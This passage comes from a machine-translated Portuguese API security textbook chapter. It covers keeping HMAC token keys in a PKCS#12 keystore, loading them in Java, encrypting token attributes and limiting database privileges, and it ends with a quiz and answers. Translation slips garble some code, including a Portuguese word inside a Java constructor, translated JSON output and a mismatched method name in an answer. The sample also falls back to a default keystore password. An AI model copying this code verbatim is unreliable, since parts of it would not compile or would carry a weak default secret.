clientes, e as solicitações do mesmo cliente podem ser roteadas para qualquer ser-
vidor, então todos precisam usar a mesma chave. Caso contrário, um token ge-
rado em um servidor será rejeitado como inválido por um servidor diferente com
uma chave diferente. Mesmo se você tiver apenas um único servidor, se você rei-
niciá-lo, ele rejeitará os tokens emitidos antes de reiniciar, a menos que a chave
seja a mesma. Para contornar esses problemas, você pode armazenar a chave em
um keystore externo que pode ser carregado por cada servidor.

DEFINIÇÃO Um keystore é um arquivo criptografado que contém chaves crip-


tográficas e certificados TLS usados ​por sua API. Um keystore geralmente é prote-
gido por uma senha.
Java suporta o carregamento de chaves de keystores usando a
java.security.KeyStore classe e você pode criar um keystore usando o
keytool comando enviado com o JDK. Java fornece vários formatos de keystore,
mas você deve usar o formato PKCS #12 ( https://tools.ietf.org/html/rfc7292 ) por-
que essa é a opção mais segura suportada pelo keytool.

Abra uma janela de terminal e navegue até a pasta raiz do projeto Natter API. Em
seguida, execute o seguinte comando para gerar um keystore com uma chave
HMAC de 256 bits:

keytool -genseckey -keyalg HmacSHA256 -keysize 256 \ ❶


-alias hmac-key -keystore keystore.p12 \
-storetype PKCS12 \ ❷
-storepass changeit ❸

❶ Gere uma chave de 256 bits para HMAC-SHA256.

❷ Armazene-o em um keystore PKCS#12.

❸ Defina uma senha para o keystore - de preferência melhor do que esta!

Você pode carregar o keystore em seu método principal e, em seguida, extrair a


chave para passar para o HmacTokenStore . Em vez de codificar permanente-
mente a senha do keystore no código-fonte, onde ela pode ser acessada por qual-
quer pessoa que possa acessar o código-fonte, você pode transmiti-la a partir de
uma propriedade do sistema ou variável de ambiente. Isso garante que os desen-
volvedores que escrevem a API não saibam a senha usada para o ambiente de
produção. A senha pode então ser usada para desbloquear o keystore e para aces-
sar a própria chave. 5 Depois de carregar a chave, você pode criar
o HmacKeyStore instância, como mostra a Listagem 5.12. Abra Main.java em seu
editor e encontre as linhas que constroem o DatabaseTokenStore e TokenCon-
troller . Atualize-os para corresponder aolistagem.

Listagem 5.12 Carregando a chave HMAC

var keyPassword = System.getProperty("keystore.password", ❶


"changeit").toCharArray(); ❶
var keyStore = KeyStore.getInstance("PKCS12"); ❷
keyStore.load(new FileInputStream("keystore.p12"), ❷
keyPassword); ❷

var macKey = keyStore.getKey("hmac-key", keyPassword); ❸

var databaseTokenStore = new DatabaseTokenStore(banco de dados); ❹


var tokenStore = new HmacTokenStore(databaseTokenStore, macKey); ❹
var tokenController = new TokenController(tokenStore);

❶ Carregue a senha do keystore de uma propriedade do sistema.

❷ Carregue o keystore, desbloqueando-o com a senha.

❸ Obtenha a chave HMAC do keystore, usando a senha novamente.


❹ Crie o HmacTokenStore, passando o DatabaseTokenStore e a chave HMAC.

EXPERIMENTANDO

Reiniciara API, adicionando -Dkeystore.password=changeit aos argumentos


da linha de comando, e você pode ver o formato do token de atualização ao
autenticar:

$ curl -H 'Content-Type: application/json' \ ❶


-d '{"username":"test","password":"password"}' \ ❶
https://localhost:4567/users ❶
{"nome de usuário":"teste"}
$ curl -H 'Content-Type: application/json' -u test:password \ ❷
-X POST https://localhost:4567/sessions ❷
{"token":"OrosINwKcJs93WcujdzqGxK-d9s
➥ .wOaaXO4_yP4qtPmkOgphFob1HGB5X-bi0PNApBOa5nU"}

❶ Crie um usuário de teste.

❷ Faça login para obter um token com a tag HMAC.

Se você tentar usar o token sem a marca de autenticação, ele será rejeitado com
uma resposta 401. O mesmo acontece se você tentar alterar qualquer parte do ID
do token ou da própria tag. Somente o token completo, com a tag, é aceito
peloaAPI.
5.3.3 Protegendo atributos sensíveis

Suponhaque seus tokens incluam informações confidenciais sobre usuários em


atributos de token, como sua localização quando eles efetuaram login. Você pode
querer usar esses atributos para tomar decisões de controle de acesso, como proi-
bir o acesso a documentos confidenciais se o token for usado repentinamente de
uma maneira muito localização diferente. Se um invasor obtiver acesso de leitura
ao banco de dados, ele descobrirá a localização de todos os usuários que estão
usando o sistema, o que violaria sua expectativa de privacidade.

Criptografando atributos do banco de dados

Uma maneira de proteger atributos confidenciais no banco de dados é cripto-


grafá-los. Embora muitos bancos de dados venham com suporte integrado para
criptografia e alguns produtos comerciais possam adicioná-lo, essas soluções ge-
ralmente protegem apenas contra invasores que obtêm acesso ao armazena-
mento de arquivos do banco de dados bruto. Os dados retornados das consultas
são descriptografados de forma transparente pelo servidor de banco de dados,
portanto, esse tipo de criptografia não protege contra injeção de SQL ou outros
ataques direcionados à API do banco de dados. Você pode resolver isso criptogra-
fando os registros do banco de dados em sua API antes de enviar dados para o
banco de dados e, em seguida, descriptografando as respostas lidas do banco de
dados. A criptografia de banco de dados é um tópico complexo, especialmente se
os atributos criptografados precisam ser pesquisáveis ​e podem preencher um li-
vro por si só. A biblioteca CipherSweet de código aberto(
https://ciphersweet.paragonie.com ) fornece a coisa mais próxima de uma solução
completa que eu conheço, mas falta uma versão Java no momento.

Toda criptografia de banco de dados pesquisável vaza algumas informações sobre


os valores criptografados, e um invasor paciente pode eventualmente ser capaz
de derrotar qualquer esquema desse tipo. Por esse motivo e pela complexidade,
recomendo que os desenvolvedores se concentrem nos controles básicos de
acesso ao banco de dados antes de investigar soluções mais complexas. Você
ainda deve ativar a criptografia de banco de dados integrada se o armazenamento
do banco de dados for hospedado por um provedor de nuvem ou outro terceiro, e
você deve sempre criptografar todos os backups de banco de dados - muitas ferra-
mentas de backup podem fazer isso por você.

Para os leitores que desejam saber mais, forneci uma versão bastante comentada
do DatabaseTokenStore fornecendo criptografia e autenticação de todos os atri-
butos de token, bem como indexação cega de nomes de usuários em uma ramifi-
cação do repositório GitHub que acompanha este livro em http://mng.bz/4B75 .
A principal ameaça ao seu banco de dados de tokens é por meio de ataques de in-
jeção ou erros de lógica na própria API que permitem que um usuário execute
ações contra o banco de dados que ele não deveria ter permissão para executar.
Isso pode estar lendo tokens de outros usuários ou alterando ou excluindo-os.
Conforme discutido no capítulo 2, o uso de instruções preparadas torna os ata-
ques de injeção muito menos prováveis. Você reduziu ainda mais o risco naquele
capítulo usando uma conta de banco de dados com menos permissões em vez da
conta de administrador padrão. Você pode levar essa abordagem ainda mais para
reduzir a capacidade dos invasores de explorar pontos fracos no armazenamento
do banco de dados, com dois refinamentos adicionais:

Você pode criar contas de banco de dados separadas para executar operações
destrutivas, como exclusão em massa de tokens expirados e negar esses privilé-
gios ao usuário do banco de dados usado para executar consultas em resposta a
solicitações de API. Um invasor que explora um ataque de injeção contra a API
fica muito mais limitado no dano que pode causar. Essa divisão de privilégios
de banco de dados em contas separadas pode funcionar bem com a segregação
de responsabilidade de consulta de comando(CQRS; consulte
https://martinfowler.com/bliki/CQRS.html ) Padrão de design de API, no qual
uma API completamente separada é usada para operações de consulta em com-
paração com operações de atualização.
Muitos bancos de dados oferecem suporte a políticas de segurança em nível de
linhaque permitem consultas e atualizações para ver uma visão filtrada das ta-
belas do banco de dados com base nas informações contextuais fornecidas pelo
aplicativo. Por exemplo, você pode configurar uma política que restrinja os to-
kens que podem ser visualizados ou atualizados apenas para aqueles com um
atributo de nome de usuário correspondente ao usuário atual da API. Isso im-
pediria que um invasor explorasse uma vulnerabilidade do SQL para visualizar
ou modificar os tokens de qualquer outro usuário. O banco de dados H2 usado
neste livro não oferece suporte a políticas de segurança em nível de linha. Con-
sulte https://www.postgresql.org/docs/current/ddl-rowsecurity.html para saber
como configurar políticas de segurança em nível de linha para PostgreSQL
como um exemplo.

questionário

4. Onde você deve armazenar a chave secreta usada para proteger tokens de
banco de dados com HMAC?
1. No banco de dados ao lado dos tokens.
2. Em um keystore acessível apenas para seus servidores de API.
3. Impresso em um cofre físico no escritório do seu chefe.
4. Codificado no código-fonte da sua API no GitHub.
5. Deve ser uma senha memorável que você digita em cada servidor.
5. Dado o seguinte código para calcular uma tag de autenticação HMAC:
byte[] fornecido = Base64url.decode(authTag);
byte[] calculado = hmac(tokenId);

qual das seguintes linhas de código deve ser usada para comparar os dois
valores?
1. computed.equals(provided)
2. provided.equals(computed)
3. Arrays.equals(provided, computed)
4. Objects.equals(provided, computed)
5. MessageDigest.isEqual(provided, computed)
6. Qual padrão de design de API pode ser útil para reduzir o impacto de ataques
de injeção de SQL?
1. Microsserviços
2. Controlador de visualização de modelo (MVC)
3. Identificadores Uniformes de Recursos (URIs)
4. Segregação de responsabilidade de consulta de comando (CQRS)
5. Hipertexto como o mecanismo do estado do aplicativo (HATEOAS)

As respostas estão no final do capítulo.

Respostas para perguntas do questionário

1. e. o Access-Control-Allow-Credentials cabeçalhoé necessário tanto na


resposta de pré-voo quanto na resposta real; caso contrário, o navegador rejei-
tará o cookie ou o removerá das solicitações subsequentes.
2. c. Use um SecureRandom ou outro gerador de números aleatórios criptografi-
camente seguro. Lembre-se de que, embora a saída de uma função hash possa
parecer aleatória, ela é tão imprevisível quanto a entrada que é alimentada
nela.
3. d. O esquema de autenticação do portador é usado para tokens.
4. b. Armazene chaves em um keystore ou outro armazenamento seguro (consulte
a parte 4 deste livro para outras opções). As chaves não devem ser armazena-
das no mesmo banco de dados que os dados que estão protegendo e nunca de-
vem ser codificadas. Uma senha não é uma chave adequada para HMAC.
5. e. Sempre use MessageDigest.equals ou outro teste de igualdade de tempo
constante para comparar tags HMAC.
6. d. O CQRS permite que você use diferentes usuários de banco de dados para
consultas versus atualizações de banco de dados com apenas os privilégios mí-
nimos necessários para cada tarefa. Conforme descrito na seção 5.3.2, isso pode
reduzir o dano causado por um ataque de injeção de SQL.possocausa.

Resumo

Chamadas de API de origem cruzada podem ser ativadas para clientes da web
usando CORS. A ativação de cookies em chamadas de origem cruzada é pro-
pensa a erros e se torna mais difícil com o tempo. O HTML 5 Web Storage for-
nece uma alternativa aos cookies para armazenar cookies diretamente.
O armazenamento na Web evita ataques CSRF, mas pode ser mais vulnerável à
exfiltração de token via XSS. Você deve garantir a prevenção de ataques XSS an-
tes de mudar para esse modelo de armazenamento de token.
O esquema padrão de autenticação de portador para HTTP pode ser usado para
transmitir um token para uma API e solicitar um caso não seja fornecido. Em-
bora originalmente projetado para OAuth2, o esquema agora é amplamente
usado para outras formas de tokens.
Os tokens de autenticação devem ter hash quando armazenados em um banco
de dados para evitar que sejam usados ​se o banco de dados estiver comprome-
tido. Códigos de autenticação de mensagem (MACs) podem ser usados ​para pro-
teger tokens contra adulteração e falsificação. O MAC baseado em hash (HMAC)
é um algoritmo seguro padrão para construir um MAC a partir de um algoritmo
de hash seguro, como o SHA-256.
Os controles de acesso ao banco de dados e as políticas de segurança em nível
de linha podem ser usados ​para proteger ainda mais um banco de dados contra
ataques, limitando os danos que podem ser causados. A criptografia de banco
de dados pode ser usada para proteger atributos confidenciais, mas é um tópico
complexo com muitas falhascasos.

1.
https://support.apple.com/en-gb/guide/mac-help/mchl732d3c0a/mac

2.
A sintaxe do esquema Bearer permite tokens codificados em Base64, o que é sufi-
ciente para a maioria dos formatos de token de uso comum. Ele não diz como co-
dificar tokens que não estejam em conformidade com essa sintaxe.

3.
Algumas versões mais antigas do Safari desativavam o armazenamento local no
modo de navegação privada, mas isso foi corrigido desde a versão 12.

4.
Aprendi sobre essa técnica pela primeira vez com Jim Manico, fundador da Mani-
code Security ( https://manicode.com ).

5.
Alguns formatos de keystore suportam a configuração de senhas diferentes para
cada chave, mas o PKCS #12 usa uma única senha para o keystore e cada chave.

Você também pode gostar